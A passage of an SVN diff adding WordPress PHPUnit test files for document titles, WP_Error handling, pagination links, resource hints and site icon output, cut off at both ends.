+		$this->go_to( '?day=22' );
+
+		$this->assertEquals( sprintf( 'September 22, 2015 &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_404_title() {
+		$this->go_to( '?m=404' );
+
+		$this->assertEquals( sprintf( 'Page not found &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function test_paged_post_title() {
+		$this->go_to( '?paged=4&p=' . self::$post_id );
+
+		add_filter( 'title_tag_parts', array( $this, '_paged_post_title_parts' ) );
+
+		$this->assertEquals( sprintf( 'test_title &#8211; Page 4 &#8211; %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function _paged_post_title_parts( $parts ) {
+		$this->assertArrayHasKey( 'page', $parts );
+		$this->assertArrayHasKey( 'site', $parts );
+		$this->assertArrayHasKey( 'title', $parts );
+		$this->assertArrayNotHasKey( 'tagline', $parts );
+
+		return $parts;
+	}
+
+	function test_rearrange_title_parts() {
+		$this->go_to( '?p=' . self::$post_id );
+
+		add_filter( 'document_title_parts', array( $this, '_rearrange_title_parts' ) );
+
+		$this->assertEquals( sprintf( '%s &#8211; test_title', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function _rearrange_title_parts( $parts ) {
+		$parts = array(
+			$parts['site'],
+			$parts['title'],
+		);
+
+		return $parts;
+	}
+
+	function test_change_title_separator() {
+		$this->go_to( '?p=' . self::$post_id );
+
+		add_filter( 'document_title_separator', array( $this, '_change_title_separator' ) );
+
+		$this->assertEquals( sprintf( 'test_title %%%% %s', $this->blog_name ), wp_get_document_title() );
+	}
+
+	function _change_title_separator( $sep ) {
+		return '%%';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/general/errors.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/general/errors.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/general/errors.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Tests for error handling and the WP_Error class.
+ *
+ * @group general
+ */
+class Tests_General_Errors extends WP_UnitTestCase {
+
+	function test_create_error() {
+		$error = new WP_Error( 'foo', 'message', 'data' );
+
+		$this->assertWPError( $error );
+		$this->assertEquals( 'foo', $error->get_error_code() );
+		$this->assertEquals( 'message', $error->get_error_message() );
+		$this->assertEquals( 'data', $error->get_error_data() );
+	}
+
+	function test_add_error() {
+		$error = new WP_Error();
+		$error->add( 'foo', 'message', 'data' );
+
+		$this->assertWPError( $error );
+		$this->assertEquals( 'foo', $error->get_error_code() );
+		$this->assertEquals( 'message', $error->get_error_message() );
+		$this->assertEquals( 'data', $error->get_error_data() );
+	}
+
+	function test_multiple_errors() {
+		$error = new WP_Error();
+		$error->add( 'foo', 'foo message', 'foo data' );
+		$error->add( 'bar', 'bar message', 'bar data' );
+
+		$this->assertWPError( $error );
+		$this->assertEquals( 'foo', $error->get_error_code() );
+		$this->assertEquals( 'foo message', $error->get_error_message() );
+		$this->assertEquals( 'foo data', $error->get_error_data() );
+
+		$this->assertEquals( array( 'foo', 'bar' ), $error->get_error_codes() );
+		$this->assertEquals( array( 'foo message', 'bar message' ), $error->get_error_messages() );
+		$this->assertEquals( 'foo data', $error->get_error_data( 'foo' ) );
+		$this->assertEquals( 'bar data', $error->get_error_data( 'bar' ) );
+	}
+
+	/**
+	 * @ticket 28092
+	 */
+	function test_remove_error() {
+		$error = new WP_Error();
+		$error->add( 'foo', 'This is the first error message', 'some error data' );
+		$error->add( 'foo', 'This is the second error message' );
+		$error->add( 'bar', 'This is another error' );
+
+		$error->remove( 'foo' );
+
+		// Check the error has been removed.
+		$this->assertEmpty( $error->get_error_data( 'foo' ) );
+		$this->assertEmpty( $error->get_error_messages( 'foo' ) );
+		
+		// The 'bar' error should now be the 'first' error retrieved.
+		$this->assertEquals( 'bar', $error->get_error_code() );
+		$this->assertEmpty( $error->get_error_data() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/general/paginateLinks.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/general/paginateLinks.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/general/paginateLinks.php	(revision 56912)
@@ -0,0 +1,324 @@
+<?php
+
+class Tests_Paginate_Links extends WP_UnitTestCase {
+
+	private $i18n_count = 0;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->go_to( home_url( '/' ) );
+	}
+
+	function test_defaults() {
+		$page2 = get_pagenum_link( 2 );
+		$page3 = get_pagenum_link( 3 );
+		$page50 = get_pagenum_link( 50 );
+
+		$expected =<<<EXPECTED
+<span aria-current='page' class='page-numbers current'>1</span>
+<a class='page-numbers' href='$page2'>2</a>
+<a class='page-numbers' href='$page3'>3</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+<a class="next page-numbers" href="$page2">Next &raquo;</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50 ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function test_format() {
+		$page2 = home_url( '/page/2/' );
+		$page3 = home_url( '/page/3/' );
+		$page50 = home_url( '/page/50/' );
+
+		$expected =<<<EXPECTED
+<span aria-current='page' class='page-numbers current'>1</span>
+<a class='page-numbers' href='$page2'>2</a>
+<a class='page-numbers' href='$page3'>3</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+<a class="next page-numbers" href="$page2">Next &raquo;</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50, 'format' => 'page/%#%/' ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function test_prev_next_false() {
+		$home = home_url( '/' );
+		$page3 = get_pagenum_link( 3 );
+		$page4 = get_pagenum_link( 4 );
+		$page50 = get_pagenum_link( 50 );
+
+		$expected =<<<EXPECTED
+<a class='page-numbers' href='$home'>1</a>
+<span aria-current='page' class='page-numbers current'>2</span>
+<a class='page-numbers' href='$page3'>3</a>
+<a class='page-numbers' href='$page4'>4</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50, 'prev_next' => false, 'current' => 2 ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function test_prev_next_true() {
+		$home = home_url( '/' );
+		$page3 = get_pagenum_link( 3 );
+		$page4 = get_pagenum_link( 4 );
+		$page50 = get_pagenum_link( 50 );
+
+		$expected =<<<EXPECTED
+<a class="prev page-numbers" href="$home">&laquo; Previous</a>
+<a class='page-numbers' href='$home'>1</a>
+<span aria-current='page' class='page-numbers current'>2</span>
+<a class='page-numbers' href='$page3'>3</a>
+<a class='page-numbers' href='$page4'>4</a>
+<span class="page-numbers dots">&hellip;</span>
+<a class='page-numbers' href='$page50'>50</a>
+<a class="next page-numbers" href="$page3">Next &raquo;</a>
+EXPECTED;
+
+		$links = paginate_links( array( 'total' => 50, 'prev_next' => true, 'current' => 2 ) );
+		$this->assertEquals( $expected, $links );
+	}
+
+	function increment_i18n_count() {
+		$this->i18n_count += 1;
+	}
+
+	/**
+	 * @ticket 25735
+	 */
+	function test_paginate_links_number_format() {
+		$this->i18n_count = 0;
+		add_filter( 'number_format_i18n', array( $this, 'increment_i18n_count' ) );
+		paginate_links( array(
+			'total'     => 100,
+			'current'   => 50,
+			'show_all'  => false,
+			'prev_next' => true,
+			'end_size'  => 1,
+			'mid_size'  => 1,
+		) );
+		// The links should be:
+		// < Previous 1 ... 49 50 51 ... 100 Next >
+		$this->assertEquals( 5, $this->i18n_count );
+		remove_filter( 'number_format_i18n', array( $this, 'increment_i18n_count' ) );
+	}
+
+	/**
+	 * @ticket 24606
+	 */
+	function test_paginate_links_base_value() {
+
+		// Current page: 2
+		$links = paginate_links( array(
+			'current'  => 2,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+		) );
+
+		$expected_attributes = array(
+			array(
+				'href'  => home_url( '/' ),
+				'class' => 'prev page-numbers'
+			),
+			array(
+				'href'  => home_url( '/' ),
+				'class' => 'page-numbers'
+			)
+		);
+
+		$document = new DOMDocument();
+		$document->preserveWhiteSpace = false;
+
+		// The first two links should link to page 1
+		foreach ( $expected_attributes as $link_idx => $attributes ) {
+
+			$document->loadHTML( $links[$link_idx] );
+			$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+
+			$this->assertNotNull( $tag );
+
+			$href  = $tag->attributes->getNamedItem( 'href' )->value;
+			$class = $tag->attributes->getNamedItem( 'class' )->value;
+
+			$this->assertEquals( $attributes['href'], $href );
+			$this->assertEquals( $attributes['class'], $class );
+		}
+
+		// Current page: 1
+		$links = paginate_links( array(
+			'current'  => 1,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+		) );
+
+		$document->loadHTML( $links[0] );
+		$tag = $document->getElementsByTagName( 'span' )->item( 0 );
+		$this->assertNotNull( $tag );
+
+		$class = $tag->attributes->getNamedItem( 'class' )->value;
+		$this->assertEquals( 'page-numbers current', $class );
+
+		$document->loadHTML( $links[1] );
+		$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+		$this->assertNotNull( $tag );
+
+		$href = $tag->attributes->getNamedItem( 'href' )->value;
+		$this->assertEquals( get_pagenum_link( 2 ), $href );
+	}
+
+	function add_query_arg( $url ) {
+		return add_query_arg( array(
+			'foo' => 'bar',
+			's'   => 'search+term',
+		), $url );
+	}
+
+	/**
+	 * @ticket 29636
+	 */
+	function test_paginate_links_query_args() {
+		add_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+		$links = paginate_links( array(
+			'current'  => 2,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+		) );
+		remove_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+
+		$document = new DOMDocument();
+		$document->preserveWhiteSpace = false;
+
+		// All links should have foo=bar arguments and be escaped:
+		$data = array(
+			0 => home_url( '/?foo=bar&s=search+term' ),
+			1 => home_url( '/?foo=bar&s=search+term' ),
+			3 => home_url( '/?paged=3&foo=bar&s=search+term' ),
+			5 => home_url( '/?paged=5&foo=bar&s=search+term' ),
+			6 => home_url( '/?paged=3&foo=bar&s=search+term' ),
+		);
+
+		foreach ( $data as $index => $expected_href ) {
+			$document->loadHTML( $links[ $index ] );
+			$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+			$this->assertNotNull( $tag );
+
+			$href = $tag->attributes->getNamedItem( 'href' )->value;
+			$this->assertEquals( $expected_href, $href );
+		}
+	}
+
+	/**
+	 * @ticket 30831
+	 */
+	function test_paginate_links_with_custom_query_args() {
+		add_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+		$links = paginate_links( array(
+			'current'  => 2,
+			'total'    => 5,
+			'end_size' => 1,
+			'mid_size' => 1,
+			'type'     => 'array',
+			'add_args' => array(
+				'baz' => 'qux',
+			),
+		) );
+		remove_filter( 'get_pagenum_link', array( $this, 'add_query_arg' ) );
+
+		$document = new DOMDocument();
+		$document->preserveWhiteSpace = false;
+
+		$data = array(
+			0 => home_url( '/?baz=qux&foo=bar&s=search+term' ),
+			1 => home_url( '/?baz=qux&foo=bar&s=search+term' ),
+			3 => home_url( '/?paged=3&baz=qux&foo=bar&s=search+term' ),
+			5 => home_url( '/?paged=5&baz=qux&foo=bar&s=search+term' ),
+			6 => home_url( '/?paged=3&baz=qux&foo=bar&s=search+term' ),
+		);
+
+		foreach ( $data as $index => $expected_href ) {
+			$document->loadHTML( $links[ $index ] );
+			$tag = $document->getElementsByTagName( 'a' )->item( 0 );
+			$this->assertNotNull( $tag );
+
+			$href = $tag->attributes->getNamedItem( 'href' )->value;
+			$this->assertEquals( $expected_href, $href );
+		}
+	}
+
+	/**
+	 * @ticket 30831
+	 */
+	public function test_paginate_links_should_allow_non_default_format_without_add_args() {
+		// Fake the query params.
+		$request_uri = $_SERVER['REQUEST_URI'];
+		$_SERVER['REQUEST_URI'] = add_query_arg( 'foo', 3, home_url() );
+
+		$links = paginate_links( array(
+			'base'    => add_query_arg( 'foo', '%#%' ),
+			'format'  => '',
+			'total'   => 5,
+			'current' => 3,
+			'type'    => 'array',
+		) );
+
+		$this->assertContains( '?foo=1', $links[1] );
+		$this->assertContains( '?foo=2', $links[2] );
+		$this->assertContains( '?foo=4', $links[4] );
+		$this->assertContains( '?foo=5', $links[5] );
+
+		$_SERVER['REQUEST_URI'] = $request_uri;
+	}
+
+	/**
+	 * @ticket 30831
+	 */
+	public function test_paginate_links_should_allow_add_args_to_be_bool_false() {
+		// Fake the query params.
+		$request_uri = $_SERVER['REQUEST_URI'];
+		$_SERVER['REQUEST_URI'] = add_query_arg( 'foo', 3, home_url() );
+
+		$links = paginate_links( array(
+			'add_args' => false,
+			'base'    => add_query_arg( 'foo', '%#%' ),
+			'format'  => '',
+			'total'   => 5,
+			'current' => 3,
+			'type'    => 'array',
+		) );
+
+		$this->assertContains( "<span aria-current='page' class='page-numbers current'>3</span>", $links );
+	}
+
+	/**
+	 * @ticket 31939
+	 */
+	public function test_custom_base_query_arg_should_be_stripped_from_current_url_before_generating_pag_links() {
+		// Fake the current URL: example.com?foo
+		$request_uri = $_SERVER['REQUEST_URI'];
+		$_SERVER['REQUEST_URI'] = add_query_arg( 'foo', '', $request_uri );
+
+		$links = paginate_links( array(
+			'base'    => add_query_arg( 'foo', '%_%', home_url() ),
+			'format'  => '%#%',
+			'total'   => 5,
+			'current' => 1,
+			'type'    => 'array',
+		) );
+
+		$page_2_url = home_url() . '?foo=2';
+		$this->assertContains( "<a class='page-numbers' href='$page_2_url'>2</a>", $links );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/general/resourceHints.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/general/resourceHints.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/general/resourceHints.php	(revision 56912)
@@ -0,0 +1,300 @@
+<?php
+
+/**
+ * @group template
+ * @ticket 34292
+ */
+class Tests_WP_Resource_Hints extends WP_UnitTestCase {
+	private $old_wp_scripts;
+	private $old_wp_styles;
+
+	function setUp() {
+		parent::setUp();
+		$this->old_wp_scripts = isset( $GLOBALS['wp_scripts'] ) ? $GLOBALS['wp_scripts'] : null;
+		$this->old_wp_styles = isset( $GLOBALS['wp_styles'] ) ? $GLOBALS['wp_styles'] : null;
+
+		remove_action( 'wp_default_scripts', 'wp_default_scripts' );
+		remove_action( 'wp_default_styles', 'wp_default_styles' );
+
+		$GLOBALS['wp_scripts'] = new WP_Scripts();
+		$GLOBALS['wp_scripts']->default_version = get_bloginfo( 'version' );
+		$GLOBALS['wp_styles'] = new WP_Styles();
+		$GLOBALS['wp_styles']->default_version = get_bloginfo( 'version' );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_scripts'] = $this->old_wp_scripts;
+		$GLOBALS['wp_styles']  = $this->old_wp_styles;
+		add_action( 'wp_default_scripts', 'wp_default_scripts' );
+		add_action( 'wp_default_styles', 'wp_default_styles' );
+		parent::tearDown();
+	}
+
+	function test_should_have_defaults_on_frontend() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n";
+
+		$this->expectOutputString( $expected );
+
+		wp_resource_hints();
+	}
+
+	function test_dns_prefetching() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n" .
+					"<link rel='dns-prefetch' href='//wordpress.org' />\n" .
+					"<link rel='dns-prefetch' href='//google.com' />\n" .
+					"<link rel='dns-prefetch' href='//make.wordpress.org' />\n";
+
+		add_filter( 'wp_resource_hints', array( $this, '_add_dns_prefetch_domains' ), 10, 2 );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		remove_filter( 'wp_resource_hints', array( $this, '_add_dns_prefetch_domains' ) );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function _add_dns_prefetch_domains( $hints, $method ) {
+		if ( 'dns-prefetch' === $method ) {
+			$hints[] = 'http://wordpress.org';
+			$hints[] = 'https://wordpress.org';
+			$hints[] = 'htps://wordpress.org'; // Invalid URLs should be skipped.
+			$hints[] = 'https://google.com';
+			$hints[] = '//make.wordpress.org';
+			$hints[] = 'https://wordpress.org/plugins/';
+		}
+
+		return $hints;
+	}
+
+	/**
+	 * @ticket 37652
+	 */
+	function test_preconnect() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n" .
+		            "<link rel='preconnect' href='//wordpress.org' />\n" .
+		            "<link rel='preconnect' href='https://make.wordpress.org' />\n" .
+		            "<link rel='preconnect' href='http://google.com' />\n" .
+		            "<link rel='preconnect' href='http://w.org' />\n";
+
+		add_filter( 'wp_resource_hints', array( $this, '_add_preconnect_domains' ), 10, 2 );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		remove_filter( 'wp_resource_hints', array( $this, '_add_preconnect_domains' ) );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function _add_preconnect_domains( $hints, $method ) {
+		if ( 'preconnect' === $method ) {
+			$hints[] = '//wordpress.org';
+			$hints[] = 'https://make.wordpress.org';
+			$hints[] = 'htps://example.com'; // Invalid URLs should be skipped.
+			$hints[] = 'http://google.com';
+			$hints[] = 'w.org';
+		}
+
+		return $hints;
+	}
+
+	function test_prerender() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n" .
+					"<link rel='prerender' href='https://make.wordpress.org/great-again' />\n" .
+					"<link rel='prerender' href='http://jobs.wordpress.net' />\n" .
+					"<link rel='prerender' href='//core.trac.wordpress.org' />\n";
+
+		add_filter( 'wp_resource_hints', array( $this, '_add_prerender_urls' ), 10, 2 );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		remove_filter( 'wp_resource_hints', array( $this, '_add_prerender_urls' ) );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function _add_prerender_urls( $hints, $method ) {
+		if ( 'prerender' === $method ) {
+			$hints[] = 'https://make.wordpress.org/great-again';
+			$hints[] = 'http://jobs.wordpress.net';
+			$hints[] = '//core.trac.wordpress.org';
+			$hints[] = 'htps://wordpress.org'; // Invalid URLs should be skipped.
+		}
+
+		return $hints;
+	}
+
+	function test_parse_url_dns_prefetch() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n" .
+					"<link rel='dns-prefetch' href='//make.wordpress.org' />\n";
+
+		add_filter( 'wp_resource_hints', array( $this, '_add_dns_prefetch_long_urls' ), 10, 2 );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		remove_filter( 'wp_resource_hints', array( $this, '_add_dns_prefetch_long_urls' ) );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function _add_dns_prefetch_long_urls( $hints, $method ) {
+		if ( 'dns-prefetch' === $method ) {
+			$hints[] = 'http://make.wordpress.org/wp-includes/css/editor.css';
+		}
+
+		return $hints;
+	}
+
+	function test_dns_prefetch_styles() {
+		$expected = "<link rel='dns-prefetch' href='//fonts.googleapis.com' />\n" .
+					"<link rel='dns-prefetch' href='//s.w.org' />\n";
+
+		$args = array(
+			'family' => 'Open+Sans:400',
+			'subset' => 'latin',
+		);
+
+		wp_enqueue_style( 'googlefonts', add_query_arg( $args, '//fonts.googleapis.com/css' ) );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		wp_dequeue_style( 'googlefonts' );
+
+		$this->assertEquals( $expected, $actual );
+
+	}
+
+	function test_dns_prefetch_scripts() {
+		$expected = "<link rel='dns-prefetch' href='//fonts.googleapis.com' />\n" .
+					"<link rel='dns-prefetch' href='//s.w.org' />\n";
+
+		$args = array(
+			'family' => 'Open+Sans:400',
+			'subset' => 'latin',
+		);
+
+		wp_enqueue_script( 'googlefonts', add_query_arg( $args, '//fonts.googleapis.com/css' ) );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		wp_dequeue_style( 'googlefonts' );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function test_dns_prefetch_scripts_does_not_included_registered_only() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n";
+		$unexpected = "<link rel='dns-prefetch' href='//wordpress.org' />\n";
+
+		wp_register_script( 'jquery-elsewhere', 'https://wordpress.org/wp-includes/js/jquery/jquery.js' );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		wp_deregister_script( 'jquery-elsewhere' );
+
+		$this->assertEquals( $expected, $actual );
+		$this->assertNotContains( $unexpected, $actual );
+	}
+
+	/**
+	 * @ticket 37502
+	 */
+	function test_deregistered_scripts_are_ignored() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n";
+
+		wp_enqueue_script( 'test-script', 'http://example.org/script.js' );
+		wp_deregister_script( 'test-script' );
+
+		$actual = get_echo( 'wp_resource_hints' );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 37652
+	 */
+	function test_malformed_urls() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n";
+
+		// Errant colon.
+		add_filter( 'wp_resource_hints', array( $this, '_add_malformed_url_errant_colon' ), 10, 2 );
+		$actual = get_echo( 'wp_resource_hints' );
+		remove_filter( 'wp_resource_hints', array( $this, '_add_malformed_url_errant_colon' ) );
+		$this->assertEquals( $expected, $actual );
+
+		// Unsupported Scheme.
+		add_filter( 'wp_resource_hints', array( $this, '_add_malformed_url_unsupported_scheme' ), 10, 2 );
+		$actual = get_echo( 'wp_resource_hints' );
+		remove_filter( 'wp_resource_hints', array( $this, '_add_malformed_url_unsupported_scheme' ) );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function _add_malformed_url_errant_colon( $hints, $method ) {
+		if ( 'preconnect' === $method ) {
+			$hints[] = '://core.trac.wordpress.org/ticket/37652';
+		}
+
+		return $hints;
+	}
+
+	function _add_malformed_url_unsupported_scheme( $hints, $method ) {
+		if ( 'preconnect' === $method ) {
+			$hints[] = 'git://develop.git.wordpress.org/';
+		}
+
+		return $hints;
+	}
+
+	/**
+	 * @group 38121
+	 */
+	function test_custom_attributes() {
+		$expected = "<link rel='dns-prefetch' href='//s.w.org' />\n" .
+		            "<link rel='preconnect' href='https://make.wordpress.org' />\n" .
+		            "<link crossorigin as='image' pr='0.5' href='https://example.com/foo.jpeg' rel='prefetch' />\n" .
+		            "<link crossorigin='use-credentials' as='style' href='https://example.com/foo.css' rel='prefetch' />\n" .
+		            "<link href='http://wordpress.org' rel='prerender' />\n";
+
+		add_filter( 'wp_resource_hints', array( $this, '_add_url_with_attributes' ), 10, 2 );
+
+		$actual = get_echo( 'wp_resource_hints' );
+
+		remove_filter( 'wp_resource_hints', array( $this, '_add_url_with_attributes' ) );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function _add_url_with_attributes( $hints, $method ) {
+		// Ignore hints with missing href attributes.
+		$hints[] = array(
+			'rel'  => 'foo',
+		);
+
+		if ( 'preconnect' === $method ) {
+			// Should ignore rel attributes.
+			$hints[] = array(
+				'rel'  => 'foo',
+				'href' => 'https://make.wordpress.org/great-again',
+			);
+		} elseif ( 'prefetch' === $method ) {
+			$hints[] = array(
+				'crossorigin',
+				'as'   => 'image',
+				'pr'   => 0.5,
+				'href' => 'https://example.com/foo.jpeg',
+			);
+			$hints[] = array(
+				'crossorigin' => 'use-credentials',
+				'as'          => 'style',
+				'href'        => 'https://example.com/foo.css',
+			);
+		} elseif ( 'prerender' === $method ) {
+			// Ignore invalid attributes.
+			$hints[] = array(
+				'foo'  => 'bar',
+				'bar'  => 'baz',
+				'href' => 'http://wordpress.org',
+			);
+		}
+
+		return $hints;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/general/template.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/general/template.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/general/template.php	(revision 56912)
@@ -0,0 +1,614 @@
+<?php
+/**
+ * A set of unit tests for functions in wp-includes/general-template.php
+ *
+ * @group template
+ * @group site_icon
+ */
+
+require_once( ABSPATH . 'wp-admin/includes/class-wp-site-icon.php' );
+
+class Tests_General_Template extends WP_UnitTestCase {
+	protected $wp_site_icon;
+	public $site_icon_id;
+	public $site_icon_url;
+
+	public $custom_logo_id;
+	public $custom_logo_url;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->wp_site_icon = new WP_Site_Icon();
+	}
+
+	function tearDown() {
+		global $wp_customize;
+		$this->_remove_custom_logo();
+		$this->_remove_site_icon();
+		$wp_customize = null;
+
+		parent::tearDown();
+	}
+
+	/**
+	 * @group site_icon
+	 */
+	function test_get_site_icon_url() {
+		$this->assertEmpty( get_site_icon_url() );
+
+		$this->_set_site_icon();
+		$this->assertEquals( $this->site_icon_url, get_site_icon_url() );
+
+		$this->_remove_site_icon();
+		$this->assertEmpty( get_site_icon_url() );
+	}
+
+	/**
+	 * @group site_icon
+	 */
+	function test_site_icon_url() {
+		$this->expectOutputString( '' );
+		site_icon_url();
+
+		$this->_set_site_icon();
+		$this->expectOutputString( $this->site_icon_url );
+		site_icon_url();
+	}
+
+	/**
+	 * @group site_icon
+	 */
+	function test_has_site_icon() {
+		$this->assertFalse( has_site_icon() );
+
+		$this->_set_site_icon();
+		$this->assertTrue( has_site_icon() );
+
+		$this->_remove_site_icon();
+		$this->assertFalse( has_site_icon() );
+	}
+
+	/**
+ 	 * @group site_icon
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_has_site_icon_returns_true_when_called_for_other_site_with_site_icon_set() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+		$this->_set_site_icon();
+		restore_current_blog();
+
+		$this->assertTrue( has_site_icon( $blog_id ) );
+	}
+
+	/**
+	 * @group site_icon
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_has_site_icon_returns_false_when_called_for_other_site_without_site_icon_set() {
+		$blog_id = $this->factory->blog->create();
+
+		$this->assertFalse( has_site_icon( $blog_id ) );
+	}
+
+	/**
+	 * @group site_icon
+	 */
+	function test_wp_site_icon() {
+		$this->expectOutputString( '' );
+		wp_site_icon();
+
+		$this->_set_site_icon();
+		$output = array(
+			sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
+			sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
+			sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
+			sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
+			'',
+		);
+		$output = implode( "\n", $output );
+
+		$this->expectOutputString( $output );
+		wp_site_icon();
+	}
+
+	/**
+	 * @group site_icon
+	 */
+	function test_wp_site_icon_with_filter() {
+		$this->expectOutputString( '' );
+		wp_site_icon();
+
+		$this->_set_site_icon();
+		$output = array(
+			sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
+			sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
+			sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
+			sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
+			sprintf( '<link rel="apple-touch-icon" sizes="150x150" href="%s" />', esc_url( get_site_icon_url( 150 ) ) ),
+			'',
+		);
+		$output = implode( "\n", $output );
+
+		$this->expectOutputString( $output );
+		add_filter( 'site_icon_meta_tags', array( $this, '_custom_site_icon_meta_tag' ) );
+		wp_site_icon();
+		remove_filter( 'site_icon_meta_tags', array( $this, '_custom_site_icon_meta_tag' ) );
+	}
+
+	/**
+	 * @group site_icon
+	 * @ticket 38377
+	 */
+	function test_customize_preview_wp_site_icon_empty() {
+		global $wp_customize;
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		$wp_customize = new WP_Customize_Manager();
+		$wp_customize->register_controls();
+		$wp_customize->start_previewing_theme();
+
+		$this->expectOutputString( '<link rel="icon" href="/favicon.ico" sizes="32x32" />' . "\n" );
+		wp_site_icon();
+	}
+
+	/**
+	 * @group site_icon
+	 * @ticket 38377
+	 */
+	function test_customize_preview_wp_site_icon_dirty() {
+		global $wp_customize;
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		$wp_customize = new WP_Customize_Manager();
+		$wp_customize->register_controls();
+		$wp_customize->start_previewing_theme();
+
+		$attachment_id = $this->_insert_attachment();
+		$wp_customize->set_post_value( 'site_icon', $attachment_id );
+		$wp_customize->get_setting( 'site_icon' )->preview();
+		$output = array(
+			sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( wp_get_attachment_image_url( $attachment_id, 32 ) ) ),
+			sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( wp_get_attachment_image_url( $attachment_id, 192 ) ) ),
+			sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( wp_get_attachment_image_url( $attachment_id, 180 ) ) ),
+			sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( wp_get_attachment_image_url( $attachment_id, 270 ) ) ),
+			'',
+		);
+		$output = implode( "\n", $output );
+		$this->expectOutputString( $output );
+		wp_site_icon();
+	}
+
+	/**
+	 * Builds and retrieves a custom site icon meta tag.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param $meta_tags
+	 * @return array
+	 */
+	function _custom_site_icon_meta_tag( $meta_tags ) {
+		$meta_tags[] = sprintf( '<link rel="apple-touch-icon" sizes="150x150" href="%s" />', esc_url( get_site_icon_url( 150 ) ) );
+
+		return $meta_tags;
+	}
+
+	/**
+	 * Sets a site icon in options for testing.
+	 *
